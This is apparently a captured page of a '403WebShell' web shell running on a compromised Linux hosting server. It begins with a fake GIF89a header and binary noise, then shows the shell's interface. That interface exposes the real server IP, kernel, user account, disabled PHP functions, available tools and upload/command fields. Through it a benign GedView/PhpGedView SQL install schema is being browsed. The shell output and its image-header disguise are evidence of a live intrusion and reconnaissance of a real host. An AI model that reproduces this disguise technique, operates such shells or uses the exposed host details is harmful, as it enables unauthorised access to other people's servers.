GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 3.144.89.197
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/gedview/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/softaculous/gedview/gedview.sql

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;

--
-- Database: `gedview430`
--

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]blocks`
--

CREATE TABLE `[[dbprefix]]blocks` (
  `b_id` int(11) NOT NULL,
  `b_username` varchar(100) DEFAULT NULL,
  `b_location` varchar(30) DEFAULT NULL,
  `b_order` int(11) DEFAULT NULL,
  `b_name` varchar(255) DEFAULT NULL,
  `b_config` text,
  PRIMARY KEY (`b_id`),
  KEY `[[dbprefix]]blocks_username` (`b_username`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]dates`
--

CREATE TABLE `[[dbprefix]]dates` (
  `d_day` tinyint(3) unsigned NOT NULL,
  `d_month` char(5) DEFAULT NULL,
  `d_mon` tinyint(3) unsigned NOT NULL,
  `d_year` smallint(6) NOT NULL,
  `d_julianday1` mediumint(8) unsigned NOT NULL,
  `d_julianday2` mediumint(8) unsigned NOT NULL,
  `d_fact` varchar(15) NOT NULL,
  `d_gid` varchar(20) NOT NULL,
  `d_file` smallint(5) unsigned NOT NULL,
  `d_type` enum('@#DGREGORIAN@','@#DJULIAN@','@#DHEBREW@','@#DFRENCH R@','@#DHIJRI@','@#DROMAN@') NOT NULL,
  KEY `[[dbprefix]]date_day` (`d_day`),
  KEY `[[dbprefix]]date_month` (`d_month`),
  KEY `[[dbprefix]]date_mon` (`d_mon`),
  KEY `[[dbprefix]]date_year` (`d_year`),
  KEY `[[dbprefix]]date_julianday1` (`d_julianday1`),
  KEY `[[dbprefix]]date_julianday2` (`d_julianday2`),
  KEY `[[dbprefix]]date_gid` (`d_gid`),
  KEY `[[dbprefix]]date_file` (`d_file`),
  KEY `[[dbprefix]]date_type` (`d_type`),
  KEY `[[dbprefix]]date_fact_gid` (`d_fact`,`d_gid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]families`
--

CREATE TABLE `[[dbprefix]]families` (
  `f_id` varchar(20) NOT NULL,
  `f_file` smallint(5) unsigned NOT NULL,
  `f_husb` varchar(20) DEFAULT NULL,
  `f_wife` varchar(20) DEFAULT NULL,
  `f_chil` text,
  `f_gedcom` longtext,
  `f_numchil` int(11) DEFAULT NULL,
  PRIMARY KEY (`f_id`,`f_file`),
  KEY `[[dbprefix]]fam_id` (`f_id`),
  KEY `[[dbprefix]]fam_file` (`f_file`),
  KEY `[[dbprefix]]fam_husb` (`f_husb`),
  KEY `[[dbprefix]]fam_wife` (`f_wife`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]favorites`
--

CREATE TABLE `[[dbprefix]]favorites` (
  `fv_id` int(11) NOT NULL,
  `fv_username` varchar(30) DEFAULT NULL,
  `fv_gid` varchar(20) NOT NULL,
  `fv_type` varchar(15) DEFAULT NULL,
  `fv_file` varchar(100) DEFAULT NULL,
  `fv_url` varchar(255) DEFAULT NULL,
  `fv_title` varchar(255) DEFAULT NULL,
  `fv_note` text,
  PRIMARY KEY (`fv_id`),
  KEY `[[dbprefix]]favorites_username` (`fv_username`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]gedcom`
--

CREATE TABLE `[[dbprefix]]gedcom` (
  `gedcom_id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `gedcom_name` varchar(255) NOT NULL,
  PRIMARY KEY (`gedcom_id`),
  UNIQUE KEY `[[dbprefix]]gedcom_ux1` (`gedcom_name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]gedcom_setting`
--

CREATE TABLE `[[dbprefix]]gedcom_setting` (
  `gedcom_id` smallint(5) unsigned NOT NULL,
  `setting_name` varchar(32) NOT NULL,
  `setting_value` varchar(255) NOT NULL,
  PRIMARY KEY (`gedcom_id`,`setting_name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]hit_counter`
--

CREATE TABLE `[[dbprefix]]hit_counter` (
  `gedcom_id` int(10) unsigned NOT NULL,
  `page_name` varchar(32) NOT NULL,
  `page_parameter` varchar(32) NOT NULL,
  `page_count` int(11) NOT NULL,
  PRIMARY KEY (`gedcom_id`,`page_name`,`page_parameter`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]individuals`
--

CREATE TABLE `[[dbprefix]]individuals` (
  `i_id` varchar(20) NOT NULL,
  `i_file` smallint(5) unsigned NOT NULL,
  `i_rin` varchar(20) NOT NULL,
  `i_isdead` int(11) NOT NULL,
  `i_sex` char(1) NOT NULL,
  `i_gedcom` longtext NOT NULL,
  PRIMARY KEY (`i_id`,`i_file`),
  KEY `[[dbprefix]]indi_id` (`i_id`),
  KEY `[[dbprefix]]indi_file` (`i_file`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]ip_address`
--

CREATE TABLE `[[dbprefix]]ip_address` (
  `ip_address` varchar(40) NOT NULL,
  `category` varchar(32) NOT NULL,
  `comment` varchar(255) NOT NULL,
  PRIMARY KEY (`ip_address`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]link`
--

CREATE TABLE `[[dbprefix]]link` (
  `l_file` smallint(5) unsigned NOT NULL,
  `l_from` varchar(20) NOT NULL,
  `l_type` varchar(15) NOT NULL,
  `l_to` varchar(20) NOT NULL,
  PRIMARY KEY (`l_from`,`l_file`,`l_type`,`l_to`),
  UNIQUE KEY `[[dbprefix]]ux1` (`l_to`,`l_file`,`l_type`,`l_from`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]media`
--

CREATE TABLE `[[dbprefix]]media` (
  `m_id` int(11) NOT NULL,
  `m_media` varchar(20) NOT NULL,
  `m_ext` varchar(6) DEFAULT NULL,
  `m_titl` varchar(255) DEFAULT NULL,
  `m_file` varchar(255) DEFAULT NULL,
  `m_gedfile` smallint(5) unsigned NOT NULL,
  `m_gedrec` longtext,
  PRIMARY KEY (`m_id`),
  KEY `[[dbprefix]]m_media` (`m_media`),
  KEY `[[dbprefix]]m_media_file` (`m_media`,`m_gedfile`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]media_mapping`
--

CREATE TABLE `[[dbprefix]]media_mapping` (
  `mm_id` int(11) NOT NULL,
  `mm_media` varchar(20) NOT NULL,
  `mm_gid` varchar(20) NOT NULL DEFAULT '',
  `mm_order` int(11) NOT NULL DEFAULT '0',
  `mm_gedfile` smallint(5) unsigned NOT NULL,
  `mm_gedrec` longtext,
  PRIMARY KEY (`mm_id`),
  KEY `[[dbprefix]]mm_media_id` (`mm_media`,`mm_gedfile`),
  KEY `[[dbprefix]]mm_media_gid` (`mm_gid`,`mm_gedfile`),
  KEY `[[dbprefix]]mm_media_gedfile` (`mm_gedfile`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]messages`
--

CREATE TABLE `[[dbprefix]]messages` (
  `m_id` int(11) NOT NULL,
  `m_from` varchar(255) DEFAULT NULL,
  `m_to` varchar(30) DEFAULT NULL,
  `m_subject` varchar(255) DEFAULT NULL,
  `m_body` text,
  `m_created` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`m_id`),
  KEY `[[dbprefix]]messages_to` (`m_to`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]module`
--

CREATE TABLE `[[dbprefix]]module` (
  `mod_id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `mod_name` varchar(40) NOT NULL,
  `mod_description` varchar(255) NOT NULL,
  `mod_taborder` tinyint(4) NOT NULL,
  `mod_menuorder` tinyint(4) NOT NULL,
  `mod_sidebarorder` tinyint(4) NOT NULL,
  PRIMARY KEY (`mod_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]module_privacy`
--

CREATE TABLE `[[dbprefix]]module_privacy` (
  `mp_id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `mp_mod_id` int(10) unsigned NOT NULL,
  `mp_file` smallint(5) unsigned NOT NULL,
  `mp_access` tinyint(4) NOT NULL,
  `mp_type` char(1) NOT NULL,
  PRIMARY KEY (`mp_id`),
  KEY `[[dbprefix]]module_privacy_ix1` (`mp_mod_id`,`mp_file`,`mp_access`),
  KEY `[[dbprefix]]module_privacy_ix2` (`mp_mod_id`,`mp_access`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]mutex`
--

CREATE TABLE `[[dbprefix]]mutex` (
  `mx_id` int(11) NOT NULL,
  `mx_name` varchar(255) DEFAULT NULL,
  `mx_thread` varchar(255) DEFAULT NULL,
  `mx_time` int(11) DEFAULT NULL,
  PRIMARY KEY (`mx_id`),
  KEY `[[dbprefix]]mutex_name` (`mx_name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]name`
--

CREATE TABLE `[[dbprefix]]name` (
  `n_file` smallint(5) unsigned NOT NULL,
  `n_id` varchar(20) NOT NULL,
  `n_num` int(11) NOT NULL,
  `n_type` varchar(15) NOT NULL,
  `n_sort` varchar(255) NOT NULL,
  `n_full` varchar(255) NOT NULL,
  `n_list` varchar(255) NOT NULL,
  `n_surname` varchar(255) DEFAULT NULL,
  `n_surn` varchar(255) DEFAULT NULL,
  `n_givn` varchar(255) DEFAULT NULL,
  `n_soundex_givn_std` varchar(255) DEFAULT NULL,
  `n_soundex_surn_std` varchar(255) DEFAULT NULL,
  `n_soundex_givn_dm` varchar(255) DEFAULT NULL,
  `n_soundex_surn_dm` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`n_id`,`n_file`,`n_num`),
  KEY `[[dbprefix]]name_file` (`n_file`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]news`
--

CREATE TABLE `[[dbprefix]]news` (
  `n_id` int(11) NOT NULL,
  `n_username` varchar(100) DEFAULT NULL,
  `n_date` int(11) DEFAULT NULL,
  `n_title` varchar(255) DEFAULT NULL,
  `n_text` text,
  PRIMARY KEY (`n_id`),
  KEY `[[dbprefix]]news_username` (`n_username`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]nextid`
--

CREATE TABLE `[[dbprefix]]nextid` (
  `ni_id` varchar(20) NOT NULL,
  `ni_type` varchar(15) NOT NULL,
  `ni_gedfile` smallint(5) unsigned NOT NULL,
  PRIMARY KEY (`ni_type`,`ni_gedfile`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]other`
--

CREATE TABLE `[[dbprefix]]other` (
  `o_id` varchar(20) NOT NULL,
  `o_file` smallint(5) unsigned NOT NULL,
  `o_type` varchar(15) NOT NULL,
  `o_gedcom` longtext,
  PRIMARY KEY (`o_id`,`o_file`),
  KEY `[[dbprefix]]other_id` (`o_id`),
  KEY `[[dbprefix]]other_file` (`o_file`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]placelinks`
--

CREATE TABLE `[[dbprefix]]placelinks` (
  `pl_p_id` int(11) NOT NULL,
  `pl_gid` varchar(20) NOT NULL,
  `pl_file` smallint(5) unsigned NOT NULL,
  PRIMARY KEY (`pl_p_id`,`pl_gid`,`pl_file`),
  KEY `[[dbprefix]]plindex_place` (`pl_p_id`),
  KEY `[[dbprefix]]plindex_gid` (`pl_gid`),
  KEY `[[dbprefix]]plindex_file` (`pl_file`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]places`
--

CREATE TABLE `[[dbprefix]]places` (
  `p_id` int(11) NOT NULL,
  `p_place` varchar(150) DEFAULT NULL,
  `p_level` int(11) DEFAULT NULL,
  `p_parent_id` int(11) DEFAULT NULL,
  `p_file` smallint(5) unsigned NOT NULL,
  `p_std_soundex` text,
  `p_dm_soundex` text,
  PRIMARY KEY (`p_id`),
  KEY `[[dbprefix]]place_place` (`p_place`),
  KEY `[[dbprefix]]place_level` (`p_level`),
  KEY `[[dbprefix]]place_parent` (`p_parent_id`),
  KEY `[[dbprefix]]place_file` (`p_file`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]remotelinks`
--

CREATE TABLE `[[dbprefix]]remotelinks` (
  `r_gid` varchar(20) NOT NULL,
  `r_linkid` varchar(255) DEFAULT NULL,
  `r_file` smallint(5) unsigned NOT NULL,
  KEY `[[dbprefix]]r_gid` (`r_gid`),
  KEY `[[dbprefix]]r_link_id` (`r_linkid`),
  KEY `[[dbprefix]]r_file` (`r_file`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]site_setting`
--

CREATE TABLE `[[dbprefix]]site_setting` (
  `site_setting_name` varchar(32) NOT NULL,
  `site_setting_value` varchar(255) NOT NULL,
  PRIMARY KEY (`site_setting_name`),
  UNIQUE KEY `[[dbprefix]]site_setting_ux1` (`site_setting_name`,`site_setting_value`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Dumping data for table `[[dbprefix]]site_setting`
--

INSERT INTO `[[dbprefix]]site_setting` VALUES
('PGV_SCHEMA_VERSION', '14');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]sources`
--

CREATE TABLE `[[dbprefix]]sources` (
  `s_id` varchar(20) NOT NULL,
  `s_file` smallint(5) unsigned NOT NULL,
  `s_name` varchar(255) DEFAULT NULL,
  `s_gedcom` longtext,
  `s_dbid` char(1) DEFAULT NULL,
  PRIMARY KEY (`s_id`,`s_file`),
  KEY `[[dbprefix]]sour_id` (`s_id`),
  KEY `[[dbprefix]]sour_name` (`s_name`),
  KEY `[[dbprefix]]sour_file` (`s_file`),
  KEY `[[dbprefix]]sour_dbid` (`s_dbid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]user`
--

CREATE TABLE `[[dbprefix]]user` (
  `user_id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `user_name` varchar(32) NOT NULL,
  `password` varchar(255) NOT NULL,
  PRIMARY KEY (`user_id`),
  UNIQUE KEY `[[dbprefix]]user_ux1` (`user_name`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- Dumping data for table `[[dbprefix]]user`
--

INSERT INTO `[[dbprefix]]user` VALUES
(1, '[[admin_username]]', '[[admin_pass]]');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]user_gedcom_setting`
--

CREATE TABLE `[[dbprefix]]user_gedcom_setting` (
  `user_id` int(10) unsigned NOT NULL,
  `gedcom_id` smallint(5) unsigned NOT NULL,
  `setting_name` varchar(32) NOT NULL,
  `setting_value` varchar(255) NOT NULL,
  PRIMARY KEY (`user_id`,`gedcom_id`,`setting_name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]user_setting`
--

CREATE TABLE `[[dbprefix]]user_setting` (
  `user_id` int(10) unsigned NOT NULL,
  `setting_name` varchar(32) NOT NULL,
  `setting_value` varchar(255) NOT NULL,
  PRIMARY KEY (`user_id`,`setting_name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Dumping data for table `[[dbprefix]]user_setting`
--

INSERT INTO `[[dbprefix]]user_setting` VALUES
(1, 'firstname', '[[admin_fname]]'),
(1, 'lastname', '[[admin_lname]]'),
(1, 'canadmin', 'Y'),
(1, 'email', '[[admin_email]]'),
(1, 'verified', 'yes'),
(1, 'verified_by_admin', 'yes'),
(1, 'language', 'english'),
(1, 'reg_timestamp', '[[timestamp]]'),
(1, 'loggedin', 'Y'),
(1, 'sessiontime', '[[timestamp]]'),
(1, 'contactmethod', 'messaging2'),
(1, 'visibleonline', 'Y'),
(1, 'editaccount', 'Y'),
(1, 'sync_gedcom', 'N'),
(1, 'relationship_privacy', 'N'),
(1, 'max_relation_path', '2'),
(1, 'auto_accept', 'N');

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

Youez - 2016 - github.com/yon3zu
LinuXploit